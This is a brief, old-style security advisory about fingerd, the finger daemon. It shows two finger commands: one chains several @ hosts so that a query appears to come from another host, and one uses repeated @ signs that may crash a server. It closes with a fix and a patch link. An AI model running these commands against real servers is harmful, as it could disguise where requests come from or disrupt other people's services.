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fingerd Exploit
Platform: Any running a non-pathed fingerd
Description:
Remote finger'ing allowd multiple @'s, and allows bogus
finger commands.
Exploit: By using several logins you can make it appear like a user
on hut.fi is using finger on a user at nonhut.fi like this:
>finger jabba@hut.fi@nonhut.fi
This may cause a server to crash by using recursive finger
like this:
>finger jabba@@@@@@@@@@@hut.fi
Fix:
Remove finger form inetd.conf and kill it.
Patch?:
http://prep.ai.mit.edu/pub/gnu/finger-1.37.tar.gz
Source: Dont remember.